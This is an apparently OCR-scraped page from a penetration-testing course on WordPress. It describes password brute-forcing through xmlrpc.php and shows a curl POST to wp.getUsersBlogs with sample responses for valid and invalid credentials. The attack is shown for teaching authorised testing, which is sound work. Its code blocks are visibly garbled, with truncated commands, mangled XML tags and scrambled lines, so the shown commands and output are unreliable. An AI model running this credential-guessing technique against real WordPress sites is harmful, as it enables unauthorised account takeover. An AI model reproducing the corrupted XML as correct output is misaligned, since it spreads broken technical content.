Page 8 / Login

## Login

Once we are armed with a list of valid users, we can mount a password brute-forcing attack to attempt to gain access to the WordPress backend. This attack can be performed via the login page or the xmlrpc.php page.

If our POST request against xmlrpc.php contains valid credentials, we will receive the following output:

## cURL - POST Request

```
• • •
                                                                                                                                                                                                                                                                                                                                                   Login
        MisaelMacias@htb[/htb]$ curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>ad
       <?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
                                  <param>
                     <value>
  <array><data>
<value><struct>
                     <member><name>isAdmin</name><value><boolean>1</boolean></value></member>
                     kmember > name > isolarity | name > value > content = 1 you can't > value > / member > member > member > member > member > name > blogid < name > value > < tring> 1 / string> < / value > / member > member > < member > name > blogid < name > value > < string> 1 / string> < / value > < / member > / value > / mem
       </struct></value>
        </value>
</param>
</params>
</methodResponse>
```

If the credentials are not valid, we will receive a 403 faultCode error.

## Invalid Credentials - 403 Forbidden

```
. . .
          MisaelMacias@htb[/htb]$ curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><param><param><value>ad
                                                                                                  <name>faultCode</name>
                                                                                       <member>
                                                                                     </member>
<aheen color co
             </value>
</fault>
</methodResponse>
```

These last few sections introduced several methods for performing manual enumeration against a WordPress instance. It is essential to understand manual methods before attempting to use automated tools. While automated tools greatly speed up the penetration testing process, it is our responsibility to understand their impact on the systems we are assessing. A solid understanding of manual enumeration methods will also assist with troubleshooting should any automated tools not function properly or provide unexpected output.







